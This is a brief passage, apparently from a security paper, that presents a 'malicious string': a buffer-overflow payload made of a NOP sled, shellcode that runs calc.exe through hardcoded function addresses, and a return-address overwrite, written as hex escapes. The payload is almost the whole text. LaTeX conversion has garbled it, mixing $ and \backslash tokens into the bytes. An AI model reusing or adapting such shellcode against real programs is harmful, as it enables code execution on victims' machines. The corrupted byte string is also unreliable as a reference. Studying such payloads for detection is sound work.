The following string can be a valid malicious string.

$"\backslash$x$90\backslash$x$90\backslash$x$90\backslash$x$90\backslash$x$90\backslash$x$90\backslash$x$90\backslash$x$90\backslash$x$90\backslash$x$90\backslash$x$90\backslash$x$90\backslash$x$90\backslash$x$90\backslash$x$90\backslash$x$00\backslash$x$00$

$\backslash$x$31\backslash$xC$9\backslash$x$51\backslash$x$68\backslash$x$2$E$\backslash$x$65\backslash$x$78\backslash$x$65\backslash$x$68\backslash$x$63\backslash$x$61\backslash$x$6$C$\backslash$x$63\backslash$x$89\backslash$xE$1\backslash$x$6$A$\backslash$x$01$

$\backslash$x$51\backslash$xB$8\backslash$xB$0\backslash$xDA$\backslash$x$36\backslash$x$76\backslash$xFF$\backslash$xD$0\backslash$x$31\backslash$xC$9\backslash$x$51\backslash$xB$8\backslash$xF$0\backslash$x$58\backslash$x$33\backslash$x$76\backslash$xFF

$\backslash$xD$0\backslash$x$90\backslash$x$90\backslash$x$90\backslash$x$90\backslash$x$90\backslash$x$90\backslash$x$90\backslash$x$90\backslash$x$90\backslash$x$90\backslash$x$90\backslash$x$90\backslash$x$90\backslash$x$90\backslash$x$90\backslash$x$9$

$0\backslash$x$90\backslash$x$90\backslash$x$90\backslash$x$90\backslash$x$90\backslash$x$90\backslash$x$90\backslash$x$90\backslash$x$94\backslash$xfe$\backslash$x$61"$